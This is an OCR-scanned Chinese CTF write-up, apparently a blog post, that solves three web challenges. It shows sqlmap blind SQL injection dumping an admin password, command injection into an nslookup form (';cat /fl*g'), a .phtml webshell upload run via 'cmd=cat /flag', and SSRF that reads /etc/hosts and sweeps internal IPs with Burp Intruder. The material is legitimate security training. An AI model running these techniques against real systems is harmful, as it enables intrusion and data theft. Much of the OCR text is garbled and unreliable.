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&« C A FZ5 | 124.16.75.162:31030

admin login page

username:
password: |

=
here is my hint

hintpy 2 :

<« C A T4 | 124.16.75.162:31030/hint.php?id=1

no password, no hint

THRIE sqimap-1.2.4, HfEH
step1: P FE

fEH#4: python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" --dbs F3fihint.php 3T
cherryg@cherry-vm:~/sqlmap-1.2.44 python2 sqlmap.py -u “http://124.16.75. 30/hint.php?id=1" --dbs

__ {
- [71 |- -1
L]
I_Iv |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state
federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*¥] starting at 15:16:05

om stored session:

Parameter: id (GET)

Type: boolean-based blind

Title: L »>= 5.0 boolean-based blind - Parameter replace

Payload: =(SELECT (CASE WHEN (2247=2247) THEN 2247 ELSE 2247%(SELECT 2247 FROM INFORMATION SCHEMA.PLUGINS) END))
[15:16:@5] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBM SQL 5.9

available databases [5]:
[*] ctf

] information_schema

] mysqgl

] performance_schema

]

®
*
*®
*] sys

[
[
[
[

K BG5S BIEE, BEE A cff iR E
step2: Fil B EK R

A4 : python2 sqlmap.py -u “http://124.16.75.162:31030/hint.php?id=1" -D ctf --tables



cherry@cherry-vm:~/sqlmap-1.2.4$ python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id-1" -D ctf --tables
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[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local
federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:16:51

él}im.;b resumed the foliawmg inrjr'e'&ionwpcrlirrlt(”s)r'l;rr'orﬁ stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (2247-2247) THEN 2247 ELSE 2247*(SELECT 2247 FROM INFORMATION SCHEMA.PLUGINS) END))

[15:16:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0

Database:
[1 table]

https:/blog.csdn.net'CHERRY _cong
9 ) —Mtable A users
step3: KR HIE A H

fEF#4: python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" -D ctf --tables -T users --dump

[15:19:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0

Database:
[1 table]

Database: ct

Table: users

[1 entry]

e e LT Hommmmm oo

| id | username | password

e o +
| admin | Never Guess pwd |

https:/blog.csdn.net/ CHERRY _cong

FF ) “username” FHIR I P 4, “password” FR%HY, %02 MK, H#78 3 password A Never_Guess_pwd

% J5 ¥ Nadminphp R, 0T




< C A %&£ | 124.16.75.162:31030/admin.php

give me a host to resolve

host: || |

jata

BE G —A 127.0.0.1 IREME A

Server: 127.0.0.11 Address: 127.0.0.11#53 Non-authoritative answer: Name: localhost Address: 127.0.0.1 Name:
localhost Address: ;11

stepd: sqlir & EAN
host i ;1s KIATAE B LA HR, A5 ;1s / AEREFABTWT

give me a host to resolve

host: | |
123

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

H¥ ;cat /flag &FF| noflaginhost, i cat admin.php FEF12F BIRAZITIEFMN, strstrit b F 8 B GE H Blflag

e
<!--2php
session_start();
if($_SESSION['islogin']) {
if(isset($_POST['host'])) {
if(stristr($_POST["host'], "flag')!==FALSE) {
echo "no flag in host";
I else {
system{"nsloockup $_POST[host]");
¥
}
I else {
header("Location: /™);
¥
EEE
</p>

FHIENZFRIER ;cat /fl*g BATLLE B flag{from_error_to_blindsqli}

give me a host to resolve

host: | |
123F

flag{from _error to blindsqli}

web2
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C A 7% | 124.16.75.162:31031

ﬂﬁi?%ﬁﬁ: |input your filename H upload ‘

no file uploaded

step1 BUR L

Mppt S%

vimé & (115 B 34 index.php => .index.php.swp;

BNMHEJE N E* http://124.16.75.162:31031/ . index. php. swp * N T Kindex.php.swp3C 4

FIVim3T 71 7] LA 2 B ELAS

} die
b SERVER[REMOTE_ADDR]™; move_uploaded ' ad filenam
die(hello hacker'); if($suffi hp™) { suffix=str ($name [ count ($name

sset($ _POST[ 'name’])) {"@} mkdir($user_home);
/form> <input 4 ubmit” name="su
<input type="file" name le">"@<torm action="" method="post™ enctype="multipart/form-data

step2 kB X EF WG
Z B FAVImIKEswpI A, REeERcurl FH A BEKE

$ curl http://124.16.75.162:31031/.index.php.swp --output .index.php.swp
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12288 100 12288 571k @ --:--1-- --1--1-- --:--:-- 571k

$ vim -r index.php

BE KA K IR



g.csdn.net/CHERRY _cong

JERS U R 4344 2 “php” BISCAF R AN BE B A, N BB BB SRR MBI B AL T T LA R PHP HAth f5 St 4T bA=& 6.
php2, php3, php4, php5, phps, pht, phtm, phtmlZs.

VERDIE Pt B SO AR 4% Files/md5($ _SERVER[ 'REMOTE_ADDR'])/ $POST[ 'name’]
Hrh $POST[ 'name' ] A H Sinputfifilename; & /5L RipHitt

& C A 7244 | 124.16.75.162:31031

| RN |§|5‘5_E?§5U¢ ‘ nput your filename H upload |
upload success, your ip is 10.200.90.122

%E3|$ SERVER['REMOTE_ADDR'] = 10.200.90.122 FKEUmd5KIE N T

FR® 10.200.90.122
160 NG 07cb16ca6a497b58
166 K5 07CB16CAGA497B58
32 MNF e3bb288707cb16ca6a497b581116aeef
32fL K5 E3BB288707CB16CA6A497B581116AEEF

ER AL RV E TR, Z2R32MMmd5E, 3R k& e3bb288707cb16ca6a497b581116aeef
step3 L f£webshell

1§ Flwebshell & ppt _E#1, iy 4 Aweb.phtml AR 41 F


https://www.cnblogs.com/linfangnan/p/13588709.html

ZRAFT UG EIshel, FFEX cmd 424 Ui Mk
http://124.16.75.162:31031/files/e3bb288707cbl6ca6ad97b581116aeef/web.phtml?cmd=1s /

UEEREZ, FElflaghfrE
< @, A FZ4E  124.16.75.162:31031/files/e3bb288707cb16ca6a497b581116aeef/web.phtml?cmd=Is%20/

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

—

SHA A cmd=cat /flag AJLAE Fflag

< C A =% | 124.16.75.162:31031/files/e3bb288707cb16cab6a497b581116aeef/web.phtm|?ecmd=cat%20/flag

flag{php file trick in_write}

web3
HBEMHE, %ERSSRFRR
& G A =L | 124.16.75.162:31032
Give Me Your Website
Website:

|

step1: #iE KiXi% KK Clienti) KR8

KA vps, TEwebsite By A\ A Huithhithttp://127.0.0.14F Fwireshark 3 ;

10.200.90.122 124.16.75.162 HTTP 868 POST / HTTP/1.1 (application/x-www-form-urlencoded)
18.200.908.122 124.16.75.162 TCP 54 64675 -» 31032 [ACK] Seg=1 Ack=1 Win=131328 Len=0
124.16.75.162 18.200.98.122 TCP 60 31032 » 64671 [ACK] Seq=1 Ack=815 Win=63492 Len=0
124.16.75.162 10.200.90.122 HTTP 526 §HTTP/1.1 200 OK (text/html)

B 5 AMAERAHTTPA KR, ZGppt, #%EHphp#curlZREUN T

phpfcurlERINA SR EEMUA, RAHTTP/1.1

step2: FREUAipIR BUH X i) e & X1

php(file_get_contents). python(urlopen)iclientSz#file://Hil, B AT A5G 3R EURTip SR BUH 5% i e B SO 1 S 4 e
R R docker¥F 3%, /etc/hostsH 4 AL Khostnamelip

ffH files:///etc/hosts BHl/etc/hosts, 5EIM JipHiht A 172.21.0.3

127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-
allnodes ff02::2 ip6-allrouters 172.21.0.3 pd024a4320ff

step3: burpsuite /1 ik fi#

1§ Fburpsuite 4T 8%, BRI ¥E: S5 Mburpsuite ProxyRH 3¢ flintercept, 17 ia) FEAR P 1k



Burp Project Intruder Repeater Window Help Hackvertor @ SCREENSHOT x +

Dashboard Target Proxy Intruder Repeater Sequencer Dec < C A =2 | 1241675162:31032

Intercept HTTP history WebSockets history Options

Give Me Your Website

Website:
|

Forward Drop Intercept is off Action Oop

TEwebsite BT\ PYRIRIBE,  FBURR X 3t st 1 P9 IO R 3 326 —ANeurlid SR, BATEIM B R IXANMERE . 7E HTTP history 27 LLE
BV a5 .

# Host Method URL Params  Edited Status Length MIMEtype Extension Title Comment LS P Cookies
1 http://172.21.0.3 GET / 172.21.0.3
2 http://172.21.0.3 GET / 172.21.0.3
3 http://124.16.75.162:31032 GET / 200 534 HTML SCREENSHOT 124.16.75.162
4 http://124.16.75.162:31032 GET / 200 534 HTML SCREENSHOT 124.16.75.162
5 http://124.16.75.162:31032 GET /favicon.ico 404 458 HTML ico 404 Not Found 124.16.75.162
6 http://124.16.75.162:31032 POST / v 200 877 HTML SCREENSHOT 124.16.75.162

Request Response

pretty [RENN \n  Actions v [RGO@ Raw Render \n  Actions v

L GET / HTTP/1.1 1 HTTP/1.1 200 OK

Z Host: 174 16.75.1€2:3103C 2 Dave: Fri, 14 May 2021 15:3%:31 GMT

3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xé4) AppleWebKit/537.3& (KHTML, like Gecko)
Chrome/S0.0.4430.212 Safari/537.35 Content-Length: 343
5 Accept: Connection: close
text/html,application/xheml+xml,application/xml;q=0.9,inage/avif, image/webp,image/apng, */*;q=0.8, applic Content-Type: text/html; charset=UTF-8
ation/signed-exchange;v=b3;q=0.%
Accept-Encoding: gzip, deflate <html>
Accept-Language: zh-CN,zh;q=0.9 10 <head>
2 Connection: close <title>
E : SCREENSHOT
10 </title>
</head>
11 <body>
12 <form action="* method="POST">
13 <hl>
Give Me Your Website
</hl>
14 <p>
<b>
Website:

Server: Apache/Z.4.18 (Ubuntu)
Vary: Accept-Encoding

@ g m o W

Y

w

FEFHEENPOSTRN AWM T, A LLE BIFRCHun
Request

Pretty JEEVE \n  Actions v

1 POST / HTTP/Ll.1
Host: 124_16.75.162:31032
Content-Length: 27

0

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

¢ Origin: hetp://124.16.75.162:3103Z2

7 Content-Type: application/x-wnwnw-form-urlencoded

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.36 (FHTML, like Gecko)
Chrome/50.0.4430.Z21Z Safari/f537.36

S Accept:

text/html , application/xhtml+xml]l, application/xml;¢q=0.9,inage/avif, image/webp,image/apng,*/*;q=0.8, app.
ation/signed-exchange;v=b3;q=0.9

10 Referer: http://l24.16.75.162:3103Z/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;q=0.9

13 Conmection: close

15 url=http¥3A%ZF$2F172.21.0.3



TEActionsiE ¥ .5 & Flintercept, 4iiEpayload positiony url 1 IE K &G — N7 3tric, BHTMKIXER 172.21.0.%

Attack type: | Sniper

1 POST / HTTP/1.1

2 Host: 124.16.75.162:3103Z

2 Content-Length: ZIZ7

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

€ Origin: http://124.16.75.1€2:31032

7 Content-Type: application/x-www-form-urlencc
¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi
5 Accept: text/html,application/xhtml+txml,appl
10 Referer: http://124_ 1675 162:3103Z2/
11l Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.%
Connection: close

url=httpt3A%ZF$IF172.21.0.583§

% B payload
@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various |

Payload set: [ 1 v l Payload count: 256

Payload type: [ Numbers v l Request count: 256

® Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: © Sequential () Random

From: ‘ 0 ‘
To: | 255 |
Step: ‘ 1 ‘

How many:



start attack7E 172.21.0.2 5% response, IR75200

E3 3. Intruder attack of 124.16.75.162 - Temporary attack - Not saved to project file

Attack Save Columns

Results Target Positions Payloads Resource Pool Options
Filter: Showing all items
Request Payload Status Error  Timeout Length Comme
0 200 | | 8717
1 1 500 | | 509
2 2 200 B B 562
3 3 200 | | 8717
4 4 500 | | 509
5 5 500 | | 509
6 6 500 | | 509
7 7 500 | | 509
8 8 500 | | 509
9 9 500 | | 509
10 10 500 | | 509
1 1 500 | | 509
12 12 500 | | 509
13 13 500 | | 509
14 14 500 | | 509
15 15 500 | | 509
16 16 500 | | 509
17 17 500 | | 509
18 18 500 | | 509
19 19 500 | N 509
e e ran 1 1 [T ¥
% Fresponse s H ¥ flag
F(bb
Website:
</b>
</p>
15 <p>
<input type="text" size="100" name="url">
</p>
1€ <p>
<input type="submit" walue="catch it!">»
</p>
17 <fform>
19 flag{old_trick_need to_know}
20 </body>
21 </html>
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